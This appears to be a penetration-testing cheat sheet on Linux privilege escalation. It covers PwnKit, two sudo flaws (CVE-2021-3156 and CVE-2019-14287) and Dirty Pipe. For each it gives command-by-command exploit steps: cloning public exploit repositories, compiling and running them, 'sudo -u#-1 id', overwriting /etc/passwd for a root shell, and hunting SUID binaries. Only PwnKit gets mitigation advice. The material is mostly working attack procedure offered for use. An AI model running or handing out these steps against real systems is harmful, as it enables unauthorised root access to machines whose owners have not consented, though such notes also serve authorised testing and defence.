Recent CVEs

PWNKit - CVE-2021-4034

• Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4034

• Affected Versions: All Polkit versions from 2009 onwards are vulnerable

• Exploit PoC:

  1. git clone https://github.com/arthepsy/CVE-2021-4034.git

  2. gcc cve-2021-4034-poc.c -o pwnkit

  3. ./pwnkit

• Mitigation:

  1. Patch polkit

  2. If no patches are available for your system, remove the SUID bit from the pkexec binary

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Weak Sudo Versions - CVE-2021-3156

• Reference: https://nvd.nist.gov/vuln/detail/cve-2021-3156

• Affected Versions: 1.8.31 - Ubuntu 20.04 1.8.27 - Debian 10 1.9.2 - Fedora 33 and others

• Exploit PoC:

  1. git clone https://github.com/blasty/CVE-2021-3156

  2. cd git-folder

  3. make

  4. Check target OS version: cat /etc/lsb-release

  5. Check available exploit targets: ./sudo-hax-me-a-sandwich

  6. Exploit the target OS: ./sudo-hax-me-a-sandwich target-number

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Weak Sudo Version (prior to 1.8.28) - CVE-2019-14287

• Reference: https://www.sudo.ws/security/advisories/minus_1_uid/
• Affected Versions: sudo versions prior to 1.8.28

• Exploit Prerequisites:

  1. The current user needs to be part of the sudoers group

  2. The current user needs to be able to run any command as (ALL)

• Exploit PoC:

  1. Check sudo permissions: sudo -l

  2. Suppose the output of the previous command is ALL=(ALL) /usr/bin/id

  3. Run the command id as root: sudo -u#-1 id

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Dirty Pipe - CVE-2022-0847

• Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847
• Affected Versions: All kernels from version 5.8 to 5.17

• Exploit Prerequisites: This vulnerability allows a user to write to arbitrary files as long as he has read access to these files

• Exploit PoC:

  1. Check kernel version: uname -r

  2. git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git

  3. cd git-folder

  4. bash compile.sh

  5. [Option1] Modify the /etc/passwd file and get a shell: ./exploit-1

  6. [Option2] Identify a SUID binary using find / -perm -4000 and run ./exploit-2 to leverage that binary file